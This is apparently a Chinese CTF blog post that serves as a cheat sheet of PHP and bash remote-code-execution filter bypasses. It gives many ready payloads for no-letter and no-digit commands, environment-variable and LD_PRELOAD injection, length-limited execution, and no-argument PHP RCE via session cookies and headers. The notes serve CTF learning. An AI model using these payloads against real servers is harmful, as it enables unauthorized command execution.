ukysblog
首页项目归档刷题记录照片墙音乐说说杂谈友链关于
封面

从0到1的RCE

2025-11-5 09:00:00
# ctf

基础

  1. cat替换:
    tac(从末行向首行显示文本)
    more/less(一页一页显示内容)
    od -a(以二进制方式读取,-a指转化为ascii字符)
    sort
    strings
    base64(以base64加密方式访问)
    sed(流编辑器,-n参数禁止默认输出,p参数指定输出行号)
sed -n 'p' test.txt #输出所有内容,等同于 cat test.txt
sed -n '3p' test.txt #输出第 3 行
sed -n '3,5p' test.txt #输出 3~5 行 
sed -n '/exp/p' test.txt #输出正则表达式匹配到的行

输出
print(c\at /f?ag);
var_dump("c\at /f?ag"); // 只会回显最后一个
print_r(l\s /);
readfile("/fla?");
// 需要解除函数禁用
highlight_file("/fla?");
show_source("/fla?");
2. 空格替换:
${IFS}
${IFS}1 \IFS$1
%09(tab,url编码都应该在url栏上输入)
%0d
%0a
>,<,<>

重定向符号:
>:命令>文件名,将命令执行结果覆盖到指定文件,如果没有则新建这个文件
>>:追加在文件中
<:将文件中的信息进行命令执行
<>:打开文件用于读取和写入

  1. 命令执行:
    通配符?*

[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt
范围按照ascii码,故也可以写入[@-[]
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt

引号当作空字符:'',"",``
反斜杠转义:\字符符号
php特殊空字符变量:$[1-9],$@
拼接绕过:a=c;b=a;c=t;aaab$c /flag(linux支持变量拼接)
环境变量:

echo PATH显示出环境变量路径字符串然后利用PATH 显示出环境变量路径字符串 然后利用PATH显示出环境变量路径字符串然后利用{PATH:(环境变量路径的字符索引):(步长)}拼接

  1. 系统命令执行:
    eval(''):将字符串内容当作php语法执行
    有回显:system(''),passthru('')
    无回显:exec(''),shell_exec(''),popen('命令','读写模式')正常只返回类型,需要配合echo fread($a,100)返回数据内容,`命令`
    (需要借助echo或print_r)

我们可以通过phpinfo()的disable_functions项来查看所有禁用的函数

  1. 运算符:

&&(逻辑与运算符): 只有当第一个命令cmd_1 执行成功(返回值为 0)时,才会执行第二个命令cmd_2
||(逻辑或运算符): 只有当第一个命令cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行cmd_2,两个命令并行执行。
;(命令分隔符): 无论前一个命令cmd_1 是否成功,都会执行下一个命令cmd_2

rce过滤高阶:

I. 不完全过滤

  1. 不完全

读取bin文件:由于shell的命令储存在/bin中,可以读取其中的命令文件达到命令执行效果。

/bin/cat /flag

由于是无字母rce,可以使用通配符
/???/?a??64 /??a?

/bin/base64 /flag

  1. 无字母
  • 八进制

八进制解析只有bash支持,可通过ls -l /bin/sh或echo $0查看当前终端的类型
一般情况下在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash

用法:

$'\154\163'
空格不能解析,所以要分开写多个语句

如果数字也进行了不完全过滤(只剩0和1),可以考虑用二进制构造八进制的每一组数

基本格式

$((2#binary)) //binary:二进制
2可以用(1<<1)替换

$(())是算术扩展,让其在括号中执行运算再替换到当前位置

但由于bash运行逻辑顺序,导致$'\'八进制最后不会被解析,这就需要用到here strings
将字符串直接作为命令的输入

command <<< string
特殊用法:将字符串传递给当前shell并执行
$0 <<< string

如果命令带有参数,则要连用两次。先将string整体作为字符串传给shell解码,再传给shell执行,由于解码可以解析\40,在第二次传给shell时shell就可以识别命令与参数是分开的,所以此时可以使用\40作为空格

所以payload可以这么写:

$0<<<$0\<\<\<$'\((((((((1<<1))#10011010))\((((((((1<<1))#10100011))\'
注意作为字符串应先将特殊符号转义,避免当作命令执行

如果连0和1都禁了,成为无字母+无数字

{#}变量代表传递给当前脚本的参数个数,但bash直接运行时是没有参数的,返回为0 \{#xxx},它用于表示变量存储的字符串长度,"0"长度为1
${!xxx},它表示用一个变量的值作为另一个变量的名字,然后取出该变量的值

所以1可以用${##}代替,0可以用${!#}代替

如果连#都ban了,那么$((2#binary))也没用了

$(()) # 空算术扩展 = 0
$((~0)) # 按位取反 0 = -1
$((~0))$((0)) = -1-1 = -2 (字符串连接在算术中变成数字拼接)
$((
-2)) = 1 (按位取反 -2)

按照这种构造,我们可以构造出0-7
但sh符不支持识别这种特性,我们只能先设一个变量,再从变量里取出值

_=$(())&&${!_}<<<${!__}

ls:

__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
  • 自增

在php中,当数组被强制用作字符串时,会返回"Array"这个字符串。当使用.运算符连接数组时,php就会将数组强制转换为字符串

所以可以创建一个字符串变量:

$_=([].'')[$___];//由于$___不存在,所以返回false(0),$_表示"A"

可以利用自增的特性来输出A-Z的字母(php只支持字母自增,不能自减)

$_++;
$_++;
//$_现在为C

创建一个变量用于储存语句

$__=$_;
$_++;
$__=$__.$_;//$__为"CD"

一般ban一种类型的注入点,我们最终将payload改成另一种注入点请求

//过滤了post参数
$$_[_]($$_[__]);//$_='_GET'
//所以在url上注入参数_=system&__=ls /

II. 无回显rce

  1. 输出重定向绕过

system($cmd.">outputfile");

  1. /dev/null 2>&1绕过

system($cmd.">/dev/null 2>&1");

shell的操作有三种描述

标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;将命令的输出重定向到它,会起到"禁止输出"的效果,并且报错

m>&n(m,n=0,1,2)指将m的操作描述重绑定为n,所以2>&1意思为将报错描述转为输出描述,这样报错都不会回显

绕过方法也很简单:在命令结尾加上%0A(tab),这样命令就不会在同一行执行

  1. 环境变量注入
  • ENV环境变量

这是unix shell的底层漏洞,类似于shellshock。shell会解析用特点参数构造的环境变量,从而执行任意命令

ENV '$(命令)':可以在sh -i -c的时候注入任意命令

PS1,2,4='命令':可以在sh或bash交互式环境下执行任意命令(PS1为主提示符,PS2为次提示符,PS4为调试提示符)

BASH_ENV='(命令)':可以在bash -c的时候注入任意命令
PROMPT_COMMAND:可以在bash交互式环境下执行任意命令

BASH_FUNC_xxx%%=(){命令}:这是bash定义函数的写法,xxx为函数名,由于shell函数限制,所以需要覆盖原有环境变量为新函数再运行此变量,比如echo(须Bash 4.4及之后)

  • LD_PRELOAD注入

LD_PRELOAD是Linux系统中的一个环境变量,它可以影响程序的运行时的链接 (变量模块与程序的链接),它允许你定义在程序运行前优先加载的动态链接库。
通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

前提:1.能够控制环境变量的值
2.putenv()函数未被禁用
可以上传.so文件

可以用来进行disabled_functions绕过

III. 长度限制绕过

>a 创建文件a
>>a 追加文件到a
ls -t 基于基于事件排序从晚到早
\命令拼接 当\出现在末尾时,表示下一行是当前行的延续,可以用来拼接被截断的命令
sh a 执行文件a里的内容

可以先创建多个空文件

>ls
ls>a 先将ls写入文件a
>\ 注意这里的\作用是将空格转义
>-t

ls>>a 将排序结果写入文件a,ls默认按字母顺序排序

此时a文件内容是:ls -t

sh a 执行ls -t命令

IV. 无参RCE

  1. 函数嵌套

在正则过滤中,无参RCE往往类似于
/[^\W]+((?R)?)/
[^\W]匹配字母,即函数名。(?R)是递归匹配,引用了前面的字母匹配,说明这行正则表达只能匹配嵌套的函数调用,而不能处理函数参数。这意味着此类RCE只能使用函数而不能使用参数

  • scandir()读取目录

scandir():用于列出指定目录中的文件和目录,返回一个数组
localeconv():返回一包含本地数字及货币格式信息的数组,数组第一项为.
current()/pos():返回数组中的单元,默认取第一个值
hightlight_file()/show_source()/readfile()/
print_r()/file_get_contents()/readgzfile():读取文件内容

所以我们可以利用这些函数嵌套来构造ls .的payload

scandir(current(localeconv()));

针对数组,可以用以下方式进行变换取值:

array_reverse():将数组内容反转
end():指向数组中的最后一个元素,并输出
next():指向数组中的下一个元素,并输出
prev():指向数组中的上一个元素,并输出
reset():指向数组中的第一个元素,并输出
each():返回当前元素的键名和键值,并将内部指针向前移动

再用函数读取其中的文件名即可

以此可以构造更多的命令执行

getcwd():获取当前工作目录路径
dirname():函数返回路径中的目录部分(即去除文件名部分)
chdir():函数改变当前的目录(相当于cd命令)

print_r(scandir(dirname(getcwd())));//读取上级目录

array_flip():函数交换数组的键和值,用于构造反向索引
array_rand():用于从数组中随机取出一个键名

show_source(array_rand(array_flip(scandir(current(localeconv())))));
//随机读取文件,须多刷新几次
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
//读取上级目录的随机文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
//读取上级目录的随机文件

array():创建空数组
serialize():将变量转换为可存储或传输的字符串表示形式
crypt():DES加密字符串
strrev()/hebrevc():字符串反转
chr()/ord():chr()函数返回指定的ASCII值对应的字符,ord()函数返回字符串第一个字符的ASCII值

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
//神奇的是这样写可以使chr(ord())混淆,有概率解码出/
//读取根目录
show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));
//读取根目录的随机文件
  • cookie注入

session_id()可以获取或设置当前会话的ID,可以用来读取session文件。其中包括PHPSESSID
我们可以将命令通过编码的方式储存在PHPSESSID中,然后通过session_id()取出并解码执行

bin2hex()十六进制编码
hex2bin()十六进制解码

cookie注入payload:

cookie:PHPSESSID=706870696e666f28293b//phpinfo();

用于php命令执行

eval()
assert()

再传参

assert(hex2bin(session_id(session_start())));
**一定要在内部写入session_start()确保session_id()开启**

此方法还可以写入文件名用于读文件

  • getallheaders()读取请求头
    (此方法只限于apache服务器)

getallheaders():获取所有HTTP请求头,返回一个关联数组
和cookie注入类似,可以将命令写入自定义请求头中,然后通过getallheaders()取出执行

var_dump(end(getallheaders()));
  1. 取反绕过

php会先自动解析参数的urlencode编码,再传递参数。所以可以利用urlencode编码的取反特性来绕过无参RCE

原理:将字母ascii按位取反得到的的十六进制进行urlencode编码,再通过函数取反还原,再将函数部分和参数部分用()分离

只有当PHP>=7才可以使用($a)()进行动态执行

比如system(cat /flag):

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98)
  1. 异或绕过/或绕过

原理和取反相同

avatar

uky

后端安全方向,ctf-web手

RECOMMENDED

带你体验第一视角手撕CC链

2026-5-14 21:10:00

floor(rand(0)*2)的奥秘

2025-11-11 09:00:00

Java反序列化-基础部分

2026-3-31 09:00:00

Table of Contents